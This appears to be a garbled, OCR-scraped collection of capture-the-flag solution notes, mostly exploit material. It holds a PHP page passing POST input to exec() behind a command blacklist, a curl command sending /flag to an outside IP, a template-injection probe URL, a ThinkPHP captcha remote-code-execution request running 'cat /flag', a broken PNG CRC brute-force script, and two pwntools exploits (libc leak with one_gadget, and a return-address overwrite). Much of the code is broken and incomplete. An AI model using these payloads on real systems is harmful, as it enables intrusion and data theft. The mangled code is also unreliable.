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DOCTYPE html
html lang
head
meta charset
title>give me a girl</title
head
body
center><h1>®2%M</h1></center
body
html
<?php

error_reporting(9);

echo
if (!isset($_POST[

die(
} else {

$girl = $_POST[

if (preg_match('/\>[\\\

just girl
1s|phpinfo|cat|\%|\"|\~|base64|xxd|echo|\$/i
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} else {

exec($girl);

curl -X POST --data “ head /flag” 174.1.51.13:88
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http://41baafc3-977c-4fe7-b3e8-f9e0c5e5ada9.node3.buuoj.cn/qaq?name=%257B%257B1*1%257D%257D

POST /index.php?s=captcha HTTP/1.1
Host: 45a2092a-fa59-4b90-9c4c-55eec2662d02.node3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;

.buuoj.cn

x64; rv:73.0) Gecko/20100101 Firefox/73.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp, ;90=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 79

method=__ construct [ ]=system&method=get&server[REQUEST_METHOD]=cat /flag
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import zlib
import struct

filename = ' 1.png
with open(filename, "rb'} as f:
all b = f.read()

for w in range () : #=
for h in range(n) :

for x in range(4):
datalz+4] = width(x
datal[z+8] = height[

crc3Zresult = zllb cre3

if cre3fresult == crc32
print (7 W “, end=
print (w1 dth]'
print( =N , ehd=
print (hei ght]l
exit (0)

cred2key = int(all b[29:33]. hex (), 16)
data = bytearrav(all_b[12:29]) B
n = 4095 #1810 Foererrerer, BE R R B/ cpu, x0T
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width = bytearray (struct. pack( »17, w))

height = bytearray(struct. pack( >i", hi)
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2(data)
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-t || [s].rdataz0~ 00000023 ¢ I 0. exit |
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exp:

from pwn import

context.log level

p remote ( »25747)
libc ELF( )
)
p.recv(14)
(printf_addr)
(printf_addr))

base printf_addr libc.symbols|[ ]

one_gadget base 0x106ef8

p.sendlineafter( (one_gadget))
p.interactive()
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from pwn import

remote( ,28270)

)
(0x11+4)+p32(0x0804858B)

payload.ljust(260, )

p.sendline(payload)
p.interactive()
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